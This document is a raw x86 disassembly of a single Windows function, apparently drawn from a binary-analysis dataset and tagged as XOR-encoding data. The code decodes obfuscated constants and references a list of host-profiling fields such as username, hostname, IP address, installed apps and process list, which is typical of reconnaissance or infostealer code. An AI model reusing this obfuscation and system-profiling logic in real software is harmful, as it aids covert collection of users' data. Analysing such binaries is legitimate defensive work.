Function at 0x432535
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x1c0
cmp dword [ecx + 0x20], 0x80000000
mov dword [esp + 0xc], ecx
jne 0x432614
lea edx, [ecx + 0x44]
lea esi, [esp + 0x80]
mov ecx, esi
call fcn.004023c0
mov byte [esi + 0xc], 1
mov edx, dword [esi + 4]
lea edi, [esp + 0x10]
mov ecx, edi
push dword [esi + 8]
call fcn.0046ae00
add esp, 4
mov eax, dword [edi]
xor eax, 2
or eax, dword [edi + 4]
jne 0x4325b6
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x134], ecx
mov dword [esp + 0x130], eax
mov dword [esp + 0x12c], 0
mov dword [esp + 0x128], 2
jmp 0x4325d8
lea eax, [esp + 0x128]
lea esi, [esp + 0x10]
mov ecx, 0x12
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
xor ecx, 2
or ecx, dword [eax + 4]
jne 0x432fbd
lea eax, [esp + 0x130]
push eax
call fcn.004710f6
add esp, 4
cmp dword [esp + 0x80], 0
je 0x432607
push dword [esp + 0x84]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0xc]
cmp dword [ecx + 0x20], 0x80000000
je 0x43264f
mov eax, dword [ecx + 0x24]
mov dword [esp], eax
mov edi, dword [ecx + 0x28]
mov ecx, edi
xor edx, edx
call fcn.00478b38
mov ebx, eax
mov esi, edx
push edi
push dword [esp + 4]
push edx
call fcn.0047eb10
add esp, 0xc
test ebx, 0x7fffffff
je 0x43264f
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [section..data]
mov ecx, dword [0x4c0aa4]
lea edi, [esp + 0x10]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [edi + 8], 0
lea esi, [esp + 0x170]
mov ecx, esi
mov edx, edi
call fcn.00434c93
cmp byte [esi], 6
je 0x432c6c
movsd xmm0, qword [esp + 0x180]
movsd qword [esp + 0xf0], xmm0
movups xmm0, xmmword [esp + 0x170]
movaps xmmword [esp + 0xe0], xmm0
call fcn.00470ec0
test eax, eax
je 0x43467c
mov edx, dword [eax]
mov ecx, dword [eax + 0xc]
mov esi, dword [eax + 8]
mov edi, edx
add edi, 1
mov dword [eax], edi
mov edi, dword [eax + 4]
mov ebx, edi
adc ebx, 0
mov dword [eax + 4], ebx
movups xmm0, xmmword [0x4b1080]
movaps xmmword [esp + 0x80], xmm0
mov dword [esp + 0x90], edx
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], ecx
cmp byte [esp + 0xe0], 4
jne 0x43284a
mov eax, dword [esp + 0xec]
test eax, eax
je 0x43284a
mov edi, dword [esp + 0xe8]
shl eax, 3
lea esi, [eax + eax*2]
mov ecx, str.nametitlebodyversionusernamedomaincomputer_name_dns_hostnamecomputer_name_net_biosscreen_resolutionoslanguagehostnameip_addrhardwareinstalled_appsprocess_list
mov edx, 4
push edi
call fcn.0045e21c
add esp, 4
mov ebx, eax
mov ecx, 0x4b0175
mov edx, 4
push edi
call fcn.0045e21c
add esp, 4
test ebx, ebx
je 0x43283e
test eax, eax
je 0x43283e
cmp byte [ebx], 3
jne 0x43283e
cmp byte [eax], 3
jne 0x43283e
mov ecx, dword [eax + 8]
mov dword [esp + 8], ecx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov ebx, dword [ebx + 0xc]
mov ecx, ebx
xor edx, edx
call fcn.00478b38
mov dword [esp + 0x100], eax
mov dword [esp + 0xc4], edx
push ebx
push dword [esp + 8]
push edx
call fcn.0047eb10
add esp, 0xc
mov eax, dword [esp + 0x100]
mov dword [esp + 0x128], eax
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x12c], eax
mov dword [esp + 0x130], ebx
mov ebx, dword [esp]
mov ecx, ebx
xor edx, edx
call fcn.00478b38
mov dword [esp + 4], eax
push ebx
push dword [esp + 0xc]
push edx
mov ebx, edx
call fcn.0047eb10
add esp, 0xc
mov eax, dword [esp + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
mov eax, dword [esp]
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x60]
lea edx, [esp + 0x80]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x12c]
push eax
call fcn.004451e2
add esp, 8
mov eax, dword [esp + 0x60]
cmp eax, 0x80000000
je 0x43283e
test eax, eax
je 0x43283e
push dword [esp + 0x64]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
add edi, 0x18
add esi, 0xffffffe8
jne 0x432721
call fcn.00470ec0
test eax, eax
je 0x43467c
mov ecx, dword [eax]
mov edx, dword [eax + 0xc]
mov esi, dword [eax + 8]
mov edi, ecx
add edi, 1
mov dword [eax], edi
mov edi, dword [eax + 4]
mov ebx, edi
adc ebx, 0
mov dword [eax + 4], ebx
movups xmm0, xmmword [0x4b1080]
movaps xmmword [esp + 0x60], xmm0
mov dword [esp + 0x70], ecx
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], edx
mov esi, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x8c]
mov dword [esp], eax
movdqa xmm0, xmmword [esi]
test ecx, ecx
je 0x4328e0
lea ebx, [ecx + 1]
mov edx, 0x18
mov eax, ebx
mul edx
jo 0x4328d4
add eax, 0xf
and eax, 0xfffffff0
add ecx, 0x11
add ecx, eax
jb 0x4328d4
cmp ecx, 0x7ffffff1
jb 0x434167
xor edx, edx
mov dword [esp + 8], edx
mov edx, esi
sub edx, eax
jmp 0x4328eb
xor ebx, ebx
inc ebx
mov dword [esp + 8], 0
lea edi, [esi + 0x10]
add ebx, esi
mov dword [esp + 0x134], esi
mov dword [esp + 0x138], edi
mov dword [esp + 0x13c], ebx
pmovmskb ebx, xmm0
not ebx
mov word [esp + 0x140], bx
mov eax, dword [esp]
mov dword [esp + 0x144], eax
mov ecx, dword [esp + 8]
mov dword [esp + 0x128], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x12c], ecx
mov dword [esp + 0x130], edx
test eax, eax
mov eax, 0
je 0x432c27
mov eax, dword [esp + 0xc]
add eax, 0x38
mov dword [esp + 0x100], eax
test bx, bx
jne 0x432983
movdqa xmm0, xmmword [edi]
pmovmskb ebx, xmm0
add esi, 0xfffffe80
add edi, 0x10
cmp ebx, 0xffff
je 0x43295a
not ebx
mov dword [esp + 0x138], edi
mov dword [esp + 0x134], esi
mov eax, ebx
lea ebx, [eax - 1]
and ebx, eax
mov word [esp + 0x140], bx
bsf eax, eax
neg eax
lea ecx, [eax + eax*2]
mov eax, dword [esi + ecx*8 - 0x18]
mov edx, dword [esi + ecx*8 - 0x14]
mov dword [esp + 8], edx
mov edx, dword [esi + ecx*8 - 0x10]
mov dword [esp + 4], edx
mov edx, dword [esi + ecx*8 - 4]
mov dword [esp + 0x1b8], edx
movsd xmm0, qword [esi + ecx*8 - 0xc]
dec dword [esp]
movsd qword [esp + 0x1b0], xmm0
cmp eax, 0x80000000
je 0x432c24
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x190], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x194], eax
mov eax, dword [esp + 0x1b8]
mov dword [esp + 0x1a0], eax
movq xmm0, qword [esp + 0x1b0]
movq qword [esp + 0x198], xmm0
lea eax, [0x49e986]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0xf44fa895
mov edx, dword [esp + 0x10]
call fcn.00426d64
xor ecx, ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], ecx
pxor xmm0, xmm0
movdqa xmmword [esp + 0x10], xmm0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x4a5f30]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x14], edx
add ecx, 4
cmp ecx, 0x14
jb 0x432a4f
movsd xmm0, qword [esp + 0x20]
movsd qword [esp + 0xb0], xmm0
movdqa xmm0, xmmword [esp + 0x10]
movdqa xmmword [esp + 0xa0], xmm0
lea eax, [esp + 0xa0]
mov dword [esp + 0x1a8], eax
mov dword [esp + 0x1ac], 0x18
mov eax, dword [esp + 0x100]
mov dword [esp + 0x10], eax
mov eax, 0x43f7fb
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x1a8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], 0x41117d
lea ecx, [esp + 0x198]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0xc8], 0x4a63a0
mov ecx, 3
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd8], 0
lea eax, [esp + 0x10]
mov dword [esp + 0xd0], eax
mov dword [esp + 0xd4], ecx
lea ecx, [esp + 0x11c]
lea edx, [esp + 0xc8]
call fcn.004017d0
mov edx, dword [esp + 0x120]
lea ecx, [esp + 0x10]
push dword [esp + 0x124]
call fcn.0046ae00
add esp, 4
mov eax, dword [esp + 0x10]
xor eax, 2
or eax, dword [esp + 0x14]
jne 0x432b4f
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
call fcn.0045c6d8
jmp 0x432bb9
lea ecx, [esp + 0xa0]
lea edx, [esp + 0x18c]
call fcn.004023c0
lea ecx, [esp + 0x10]
lea edx, [esp + 0x11c]
call fcn.004023c0
lea ecx, [esp + 0xc8]
lea edx, [esp + 0x60]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.004451e2
add esp, 8
mov eax, dword [esp + 0xc8]
cmp eax, 0x80000000
je 0x432bb9
test eax, eax
je 0x432bb9
push dword [esp + 0xcc]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x11c], 0
je 0x432bd8
push dword [esp + 0x120]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x198], 0
je 0x432bf7
push dword [esp + 0x19c]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x18c], 0
je 0x432c16
push dword [esp + 0x190]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp], 0
jne 0x432955
xor eax, eax
jmp 0x432c27
mov eax, dword [esp]
lea ecx, [esp + 0x128]
mov dword [ecx + 0x1c], eax
call fcn.0042769e
mov esi, dword [esp + 0xc]
mov ecx, esi
call fcn.0042633d
movaps xmm0, xmmword [esp + 0x60]
movaps xmm1, xmmword [esp + 0x70]
movups xmmword [esi + 0x10], xmm1
movups xmmword [esi], xmm0
lea ecx, [esp + 0xe0]
call fcn.0041de5c
cmp byte [esp + 0x170], 6
lea edi, [esp + 0x10]
jne 0x432c7c
lea eax, [esp + 0x174]
push eax
call fcn.0041d209
add esp, 4
lea esi, [esp + 0x128]
mov ecx, esi
call fcn.00467c20
mov ebx, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], eax
lea eax, [0x4a5631]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x16e9e4bd
mov edx, dword [esp + 0x10]
call fcn.0042715c
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dl, 1
movzx edi, byte [ecx + 0x4a5f08]
mov esi, ecx
or esi, 1
movzx esi, byte [esi + 0x4a5f08]
shl esi, 8
or esi, edi
mov edi, ecx
or edi, 2
movzx edi, byte [edi + 0x4a5f08]
shl edi, 0x10
or esi, edi
mov edi, ecx
or edi, 3
movzx edi, byte [edi + 0x4a5f08]
shl edi, 0x18
or esi, edi
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0x10], esi
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x432cc9
movzx eax, word [eax + 8]
xor eax, 0x652b
lea esi, [esp + 0x10]
movsd xmm0, qword [esi]
lea ecx, [esp + 0xe0]
movsd qword [ecx], xmm0
mov word [ecx + 8], ax
mov dword [esp + 0x170], ecx
mov dword [esp + 0x174], 0xa
lea ecx, [esp + 0x60]
mov dword [esi], str.Invalid
mov eax, 2
mov dword [esi + 4], eax
mov dword [esi + 0x10], 0
mov dword [esi + 8], ecx
mov dword [esi + 0xc], eax
lea eax, [esp + 0x11c]
mov dword [ecx], eax
mov dword [ecx + 4], 0x46d6b0
lea eax, [esp + 0x170]
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0x41117d
lea ecx, [esp + 0xa0]
mov edx, esi
call fcn.004017d0
cmp dword [esp + 0x128], 0
je 0x432db2
push ebx
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm0, qword [esp + 0xa0]
movsd qword [esp + 0xc8], xmm0
mov eax, dword [esp + 0xa8]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0xc]
add eax, 0x38
mov dword [esp + 8], eax
mov dword [esp + 0xe0], eax
lea eax, [0x4a1a26]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x6770549d
mov edx, dword [esp + 0x10]
call fcn.0042691f
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dl, 1
movzx edi, byte [ecx + 0x4a5f12]
mov esi, ecx
or esi, 1
movzx esi, byte [esi + 0x4a5f12]
shl esi, 8
or esi, edi
mov edi, ecx
or edi, 2
movzx edi, byte [edi + 0x4a5f12]
shl edi, 0x10
or esi, edi
mov edi, ecx
or edi, 3
movzx edi, byte [edi + 0x4a5f12]
shl edi, 0x18
or esi, edi
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0x10], esi
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x432e0f
movzx eax, word [eax + 8]
xor eax, 0xba6f
lea ebx, [esp + 0x10]
movsd xmm0, qword [ebx]
mov word [esp + 0x68], ax
mov dword [ebx], str.Invalid
mov eax, 2
mov dword [ebx + 4], eax
mov dword [ebx + 0x10], 0
lea ecx, [esp + 0x128]
mov dword [ebx + 8], ecx
movsd qword [esp + 0x60], xmm0
lea ecx, [esp + 0x60]
mov dword [esp + 0xa0], ecx
mov dword [esp + 0xa4], 0xa
mov dword [ebx + 0xc], eax
lea edi, [esp + 0x128]
lea eax, [esp + 0xe0]
mov dword [edi], eax
mov dword [edi + 4], 0x402618
lea eax, [esp + 0xa0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], 0x41117d
lea esi, [esp + 0x80]
mov ecx, esi
mov edx, ebx
call fcn.004017d0
lea edx, [esp + 0xc8]
mov ecx, ebx
call fcn.004023c0
mov ecx, edi
mov edx, esi
push ebx
call fcn.00431744
add esp, 4
mov esi, dword [edi]
test esi, esi
je 0x432f18
mov ebx, dword [esp + 0x12c]
jmp 0x4331d8
mov edx, dword [esp + 0xcc]
lea esi, [esp + 0x10]
mov ecx, esi
push dword [esp + 0xd0]
call fcn.0042282c
add esp, 4
mov esi, dword [esi]
test esi, esi
je 0x432f43
mov ebx, dword [esp + 0x14]
jmp 0x4331d8
lea esi, [esp + 0x10]
mov eax, dword [esi + 4]
mov dword [esp], eax
lea ebx, [esp + 0x128]
lea edx, [esp + 0xc8]
mov ecx, ebx
call fcn.004023c0
mov byte [ebx + 0xc], 1
mov edi, dword [ebx + 4]
mov ecx, esi
mov edx, edi
push dword [ebx + 8]
call fcn.0046ae00
add esp, 4
mov eax, dword [esi]
xor eax, 2
or eax, dword [esi + 4]
jne 0x433043
lea ecx, [esp + 0x10]
movsd xmm0, qword [ecx + 8]
movsd qword [ecx], xmm0
call fcn.00434bb2
mov esi, eax
cmp dword [esp + 0x128], 0
je 0x432fb3
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, 0x4a67c8
jmp 0x4331d8
mov ecx, dword [esp + 0x160]
xor edx, edx
inc edx
mov dword [esp + 8], ecx
call fcn.00478b38
mov ebx, eax
mov dword [esp], edx
mov eax, dword [esp + 0xc]
mov edx, dword [eax + 0x48]
lea edi, [esp + 0xe0]
mov ecx, edi
push dword [eax + 0x4c]
call fcn.0042282c
add esp, 4
mov esi, dword [edi]
test esi, esi
je 0x433119
test ebx, ebx
je 0x43300f
push dword [esp]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0xe4]
push esi
call dword [edi]
add esp, 4
cmp dword [edi + 4], 0
je 0x4325e8
cmp dword [edi + 8], 9
jb 0x43302f
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4325e8
mov esi, dword [esp + 0x48]
cmp dword [esp + 0x128], 0
je 0x433060
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
inc edx
mov ecx, esi
call fcn.00478b38
mov dword [esp + 4], eax
mov edi, edx
mov dword [esp + 0x128], 0
mov eax, dword [0x4c0a6c]
test eax, eax
je 0x433198
push 0
push ebx
push esi
push edi
push dword [esp + 0x10]
call eax
test eax, eax
je 0x433198
mov eax, dword [0x4c0a70]
test eax, eax
je 0x4330a9
push dword [esp]
call eax
mov eax, dword [esp + 0xc]
cmp dword [eax + 0x50], 0
je 0x4330c8
push dword [eax + 0x54]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
mov dword [eax + 0x50], ecx
mov dword [eax + 0x54], edi
mov dword [eax + 0x58], esi
lea esi, [esp + 0x10]
lea edx, [esp + 0xc8]
mov ecx, esi
call fcn.00436858
cmp byte [esi], 4
je 0x43321f
mov eax, dword [esp + 0x10]
cmp al, 4
je 0x43321f
lea ecx, [esp + 0x10]
mov edx, dword [ecx + 4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
call fcn.00434bb2
mov esi, eax
mov ebx, 0x4a67c8
jmp 0x4331f7
mov dword [esp + 4], ebx
mov esi, dword [esp + 0xe4]
mov dword [esp + 0x170], 0
mov eax, dword [0x4c0a6c]
test eax, eax
mov edi, dword [esp]
mov ebx, dword [esp + 8]
je 0x43314e
lea ecx, [esp + 0x170]
push 0
push ecx
push ebx
push edi
push esi
call eax
mov eax, dword [0x4c0a70]
test eax, eax
je 0x43315a
push esi
call eax
lea edx, [esp + 0xa0]
mov dword [edx], edi
mov dword [edx + 4], ebx
mov dword [edx + 8], 0
lea ebx, [esp + 0x10]
mov ecx, ebx
call fcn.00434c93
mov al, byte [ebx]
cmp al, 6
jne 0x434175
lea eax, [esp + 0x14]
push eax
call fcn.00434717
add esp, 4
mov esi, dword [esp + 4]
jmp 0x434624
mov eax, dword [0x4c0a70]
test eax, eax
je 0x4331a6
push dword [esp]
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov byte [ecx], 0
mov dword [ecx + 4], eax
call fcn.00434bb2
mov esi, eax
mov ebx, 0x4a67c8
cmp dword [esp + 4], 0
je 0x4331d8
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0xc8], 0
je 0x4331f7
push dword [esp + 0xcc]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x43321f
push esi
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x43321f
cmp dword [ebx + 8], 9
jb 0x433210
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x4c0b90]
xor ecx, ecx
mov edx, 0x24
call fcn.0046de40
mov dword [esp + 0xc4], eax
test eax, eax
je 0x43469a
lea eax, [0x499760]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x78ba6f4f
mov edx, dword [esp + 0x10]
call fcn.004270c3
mov esi, 0xc139888a
xor esi, dword [eax]
movzx ebx, byte [eax + 6]
movzx edi, word [eax + 4]
xor edi, 0xa35e
xor bl, 0x3e
mov ecx, 7
xor edx, edx
call fcn.00478b38
mov dword [esp], eax
mov dword [edx], esi
mov word [edx + 4], di
mov edi, edx
mov byte [edx + 6], bl
lea eax, [0x4a3211]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x18ae44b4
mov edx, dword [esp + 0x10]
call fcn.004269da
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x4a5ef0]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x14], edx
add ecx, 4
cmp ecx, 0xc
jb 0x4332c4
movaps xmm0, xmmword [esp + 0x10]
movaps xmmword [esp + 0x100], xmm0
xor esi, esi
mov ecx, 0x10
xor edx, edx
call fcn.00478b38
mov dword [esp + 4], eax
mov ebx, edx
movaps xmm0, xmmword [esp + 0x100]
movups xmmword [edx], xmm0
lea eax, [0x49f6d8]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0xcbff1400
mov edx, dword [esp + 0x10]
call fcn.00426f46
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x4a5f00]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x14], edx
add ecx, 4
cmp ecx, 8
jb 0x43333a
lea ecx, [esp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esp + 0x130], eax
movsd xmm0, qword [ecx]
movsd qword [esp + 0x128], xmm0
mov ecx, 0xc
xor edx, edx
call fcn.00478b38
movsd xmm0, qword [esp + 0x128]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x130]
mov dword [edx + 8], ecx
mov ecx, dword [esp + 0xc4]
mov esi, dword [esp]
mov dword [ecx], esi
mov dword [ecx + 4], edi
lea esi, [ecx + 4]
mov dword [ecx + 8], 7
mov edi, dword [esp + 4]
mov dword [ecx + 0xc], edi
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], 0x10
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], edx
mov dword [ecx + 0x20], 0xc
lea eax, [ecx + 0x24]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x68], 3
mov dword [esp + 0x6c], eax
xor ecx, ecx
inc ecx
mov eax, dword [esi - 4]
cmp eax, 0x80000000
je 0x433521
mov dword [esp], ecx
mov ecx, dword [esi]
mov edx, dword [esi + 4]
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe8], edx
mov dword [esp + 0xe4], ecx
mov eax, dword [esp + 8]
mov dword [esp + 0xa0], eax
lea eax, [esp + 0xa0]
mov dword [esp + 0x128], eax
mov dword [esp + 0x12c], 0x402618
lea eax, [esp + 0xe0]
mov dword [esp + 0x130], eax
mov dword [esp + 0x134], 0x43f7fb
mov dword [esp + 0x10], 0x4a7208
mov ecx, 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x20], 0
lea eax, [esp + 0x128]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
lea ecx, [esp + 0xc8]
lea edi, [esp + 0x10]
mov edx, edi
call fcn.004017d0
mov ebx, dword [esp + 0xcc]
mov ecx, edi
mov edx, ebx
push dword [esp + 0xd0]
call fcn.0046ae00
add esp, 4
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov al, byte [esp + 0x18]
mov edx, dword [esp + 0x1c]
cmp dword [esp + 0xc8], 0
je 0x4334da
push ebx
push 0
push dword [0x4c0b18]
mov dword [esp + 0x10], edx
mov ebx, eax
mov dword [esp + 0x10c], ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x100]
mov eax, ebx
mov edx, dword [esp + 4]
xor edi, 2
or edi, ecx
jne 0x4337bd
movzx ecx, al
call fcn.0045c6d8
cmp dword [esp + 0xe0], 0
je 0x43350c
push dword [esp + 0xe4]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp]
inc ecx
add esi, 0xc
cmp ecx, 4
jne 0x4333db
mov ecx, 3
lea eax, [ecx + ecx*2]
mov ecx, dword [esp + 0xc4]
lea eax, [ecx + eax*4]
lea ecx, [esp + 0x60]
mov dword [ecx + 4], eax
call fcn.0043739e
lea edi, [esp + 0x128]
mov ecx, edi
call fcn.00467c20
mov ebx, dword [edi + 4]
mov eax, dword [edi + 8]
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], eax
lea eax, [0x498af0]
lea esi, [esp + 0x10]
mov dword [esi], eax
lea eax, [esp + 0x10]
mov ecx, dword [esi]
mov dword [esi], 0xd9eca79
mov edx, dword [esi]
call fcn.004270e2
mov edx, 0x1d4ad7a0
xor edx, dword [eax]
movzx ecx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esp + 0x170], edx
xor eax, 0x7b9f
mov word [esp + 0x174], ax
xor cl, 0x60
mov byte [esp + 0x176], cl
mov dword [esi], str.Invalid
mov ecx, 2
mov dword [esi + 4], ecx
mov dword [esi + 0x10], 0
lea eax, [esp + 0x60]
mov dword [esi + 8], eax
lea eax, [esp + 0x170]
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], 7
lea eax, [esp + 0xe0]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x46d6b0
lea eax, [esp + 0xc8]
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 0x41117d
mov dword [esi + 0xc], ecx
lea ecx, [esp + 0x80]
mov edx, esi
call fcn.004017d0
cmp dword [edi], 0
je 0x433628
push ebx
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm0, qword [esp + 0x80]
lea ecx, [esp + 0xa0]
movsd qword [ecx], xmm0
mov eax, dword [esp + 0x88]
mov dword [ecx + 8], eax
lea eax, [0x498b64]
lea edi, [esp + 0x10]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x9d21f86
mov edx, dword [edi]
call fcn.00426cb3
mov edx, 0x9533f766
xor edx, dword [eax]
movzx ecx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esp + 0xc8], edx
xor eax, 0x13a9
mov word [esp + 0xcc], ax
xor cl, 0x37
mov byte [esp + 0xce], cl
mov dword [edi], str.Invalid
mov ecx, 2
mov dword [edi + 4], ecx
mov dword [edi + 0x10], 0
lea eax, [esp + 0x128]
mov dword [edi + 8], eax
lea eax, [esp + 0xc8]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 7
mov dword [edi + 0xc], ecx
lea esi, [esp + 0x128]
mov eax, dword [esp + 8]
mov dword [esi], eax
mov dword [esi + 4], 0x43f7fb
lea eax, [esp + 0x80]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x41117d
lea ebx, [esp + 0x60]
mov ecx, ebx
mov edx, edi
call fcn.004017d0
mov ecx, edi
lea edx, [esp + 0xa0]
call fcn.004023c0
mov ecx, esi
mov edx, ebx
push edi
call fcn.00431744
add esp, 4
mov eax, dword [esi]
test eax, eax
je 0x433736
mov ecx, dword [esp + 0x12c]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], ecx
jmp 0x433b5f
lea esi, [esp + 0x128]
lea edx, [esp + 0xa0]
mov ecx, esi
call fcn.004023c0
mov byte [esi + 0xc], 1
mov ebx, dword [esi + 4]
lea edi, [esp + 0x10]
mov ecx, edi
mov edx, ebx
push dword [esi + 8]
call fcn.0046ae00
add esp, 4
mov eax, dword [edi]
xor eax, 2
or eax, dword [edi + 4]
jne 0x4339e7
lea ecx, [esp + 0x10]
movsd xmm0, qword [ecx + 8]
movsd qword [ecx], xmm0
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
cmp dword [esp + 0x128], 0
je 0x4337b0
push ebx
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ebx, [esp + 0x60]
lea edi, [esp + 0x10]
jmp 0x433b5f
mov eax, dword [esp]
lea eax, [eax + eax*2]
mov ecx, dword [esp + 0xc4]
lea eax, [ecx + eax*4]
mov dword [esp + 0x64], eax
lea edi, [esp + 0x10]
mov dword [edi], str.Invalid
mov eax, 2
mov dword [edi + 4], eax
mov dword [edi + 0x10], 0
lea ecx, [esp + 0x128]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x170], eax
lea eax, [esp + 0x170]
mov dword [esp + 0x128], eax
mov dword [esp + 0x12c], 0x402618
lea eax, [esp + 0xe0]
mov dword [esp + 0x130], eax
mov dword [esp + 0x134], 0x43f7fb
lea esi, [esp + 0xa0]
mov ecx, esi
mov edx, edi
call fcn.004017d0
mov ebx, dword [esi]
mov eax, dword [esi + 4]
mov dword [esp], eax
mov esi, dword [esi + 8]
cmp dword [esp + 0xe0], 0
je 0x43386e
push dword [esp + 0xe4]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x60]
call fcn.0043739e
cmp ebx, 0x80000000
